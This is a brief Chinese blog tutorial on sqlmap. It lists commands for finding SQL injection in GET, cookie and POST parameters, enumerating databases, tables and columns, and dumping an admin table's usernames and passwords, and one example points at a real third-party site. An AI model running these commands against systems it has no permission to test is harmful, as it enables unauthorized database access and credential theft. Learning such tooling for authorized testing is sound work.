sqlmap简单原理及使用


检测注入
基本格式
sqlmap -u “http://www.vuln.cn/post.php?id=1”

默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转
当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入
当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数

注入成功后
获取数据库基本信息
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs

查询有哪些数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables

查询test数据库中有哪些表

sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns

查询test数据库中admin表有哪些字段

sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump

dump出字段username与password中的数据
这里我使用kali自带的sqlmap






sqlmap详细命令:
–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)





posted @ 2020-12-01 00:00  paidx0  阅读(670)  评论(0编辑  收藏  举报